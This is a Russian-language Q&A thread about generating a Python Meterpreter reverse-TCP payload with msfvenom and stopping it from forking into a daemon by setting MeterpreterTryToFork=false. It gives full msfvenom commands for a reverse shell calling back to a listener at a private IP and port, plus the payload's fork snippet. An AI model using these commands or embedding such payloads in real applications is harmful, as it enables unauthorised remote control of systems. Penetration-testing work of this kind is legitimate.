Вопрос или проблема
Я создаю полезную нагрузку на Python с помощью msfvenom, используя следующую команду:
msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 -o stageless_payload.py
Полезная нагрузка работает и подключается к multi/handler, но она запускается в отдельном демон-процессе, который инициируется этим фрагментом кода в сгенерированной и декодированной полезной нагрузке:
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
# логика подключения продолжается...
Декодируя полезную нагрузку, я обнаружил, что установка флага TRY_TO_FORK в False предотвращает создание форков, позволяя ей работать в основном потоке, что мне необходимо для моего приложения.
Есть ли способ указать msfvenom избегать создания форков или напрямую установить TRY_TO_FORK = False во время генерации, чтобы мне не приходилось каждый раз вручную декодировать и изменять полезную нагрузку?
Я только что узнал, как это сделать, и в всей документации metasploit они упоминают этот флаг ТОЛЬКО ОДИН РАЗ!!
В любом случае, вам просто нужно установить MeterpreterTryToFork=false
.
Таким образом, новая команда будет:
msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 MeterpreterTryToFork=false -o stageless_payload.py
Ответ или решение
Для предотвращения создания дочернего процесса при использовании полезной нагрузки Python, сгенерированной с помощью msfvenom, вы можете использовать флаг MeterpreterTryToFork
. Он позволяет указать, что вам не нужно, чтобы полезная нагрузка форкала процесс.
По умолчанию, полезные нагрузки Meterpreter могут пытаться создать дочерний процесс с помощью функции fork
, что может быть нежелательным в некоторых сценариях, например, если вы хотите, чтобы полезная нагрузка выполнялась в основном потоке вашего приложения.
Для того чтобы предотвратить форк, добавьте следующий параметр в вашу команду msfvenom:
msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 MeterpreterTryToFork=false -o stageless_payload.py
Таким образом, вы устанавливаете флаг MeterpreterTryToFork
в значение false
, и тем самым исключаете возможность форка, позволяя полезной нагрузке работать в основном потоке.
Это решение избавит вас от необходимости вручную декодировать и изменять полезную нагрузку каждый раз, что значительно упростит процесс её генерации и использования в ваших приложениях. Вы можете найти дополнительные детали и документацию на эту тему по следующей ссылке: Metasploit Documentation.